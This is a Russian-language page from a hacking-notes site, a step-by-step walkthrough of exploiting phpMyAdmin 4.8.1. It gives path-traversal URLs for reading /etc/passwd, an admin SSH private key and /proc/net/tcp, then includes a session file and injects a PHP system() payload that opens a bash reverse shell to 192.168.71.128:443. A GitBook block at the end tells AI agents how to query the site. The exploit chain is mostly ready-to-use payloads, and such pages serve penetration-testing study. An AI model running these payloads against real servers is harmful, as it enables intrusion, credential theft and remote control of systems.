> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/cms/phpmyadmin-cms-exploitation/phpmyadmin-4.8.1-rce.md).

# phpMyAdmin — 4.8.1 (RCE)

**Идентификация уязвимости RCE в phpMyAdmin**

После того как phpMyAdmin версии 4.8.1 был идентифицирован как уязвимый, используйте SearchExploit, чтобы найти подходящие эксплойты и подтвердить [удалённое выполнение кода](/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md) .

<figure><img src="/files/5b78a5068d0beff09454f576b8561a6e9614f9d0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/bb5b070a08b4adb5f4f9a0163e3874a84c501d30" alt=""><figcaption></figcaption></figure>

## Уязвимость удалённого выполнения кода

Эксплуатируйте путь RCE, внедрив следующий скрипт в URL, чтобы прочитать `/etc/passwd`:

<figure><img src="/files/74b819939833db0628dcb4df80dfde25de40e36e" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
```

<figure><img src="/files/7e51f4eb19cdee5759971a6966b277a9aceabb28" alt=""><figcaption></figcaption></figure>

**Попытка восстановить `admin` приватный SSH-ключ пользователя**

Попробуйте получить доступ к `admin` приватному SSH-ключу пользователя по следующему URL, но он возвращает ошибку:

```url
index.php?target=db_sql.php%253f/../../../../../../../../home/admin/.ssh/id_rsa
```

<figure><img src="/files/d0a0c0a572b13319976822f4260fe719da622dda" alt=""><figcaption></figcaption></figure>

**Перечисление портов внутренней частной сети**

Используйте следующий URL, чтобы перечислить внутренние порты сервера через `/proc/net/tcp`:

```url
index.php?target=db_sql.php%253f/../../../../../../../../proc/net/tcp
```

<figure><img src="/files/ee034953140463aaacb9aae49c32112ef1807cf1" alt=""><figcaption></figcaption></figure>

Сохраните эти порты в `файл` для последующего анализа.

```bash
for port in $(cat data | awk '{print $2}' | awk '{print $2}' FS=":" | sort -u); do echo "[+] Port $port -> $((0x$port))"; done
```

<figure><img src="/files/d34504ea86590d9c62e1ceb73025b6047093a002" alt=""><figcaption></figcaption></figure>

**Определение каталога, содержащего сессии phpMyAdmin**

Изучив скрипт, определите каталог, содержащий сессии phpMyAdmin:

```url
/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_{}
```

<figure><img src="/files/687ae197d1dc732345501fecf72bbe5ea711835c" alt=""><figcaption></figcaption></figure>

## Инъекция команд в phpMyAdmin

**Использование cookie-сессии phpMyAdmin для инъекции команд**

<figure><img src="/files/5c1afa4a45a100fd37e9d1a318be9dc71000a9cf" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_38f8d56u6em5usl5fd9s9v3pe66qh7v1
```

<figure><img src="/files/afaa10b575a9cab40dcabe4011413ec8b36cbc62" alt=""><figcaption></figcaption></figure>

#### Этот файл интерпретирует команды из запросов.

```sql
SELECT 'testing';
```

<figure><img src="/files/b77facd16376e1ccf4d2513dcfea362319b9a3aa" alt=""><figcaption></figcaption></figure>

**SQL-инъекция команд для получения** [**обратную оболочку**](https://www.revshells.com/)**:**

```sql
select '<?php system("bash -i >& /dev/tcp/192.168.71.128/443 0>&1"); ?>';
```

**Доступ к машине наконец удаётся получить:**

<figure><img src="/files/c9eb2d8918f2baf246e5c9235f75eb1e63f5e0c0" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/cms/phpmyadmin-cms-exploitation/phpmyadmin-4.8.1-rce.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
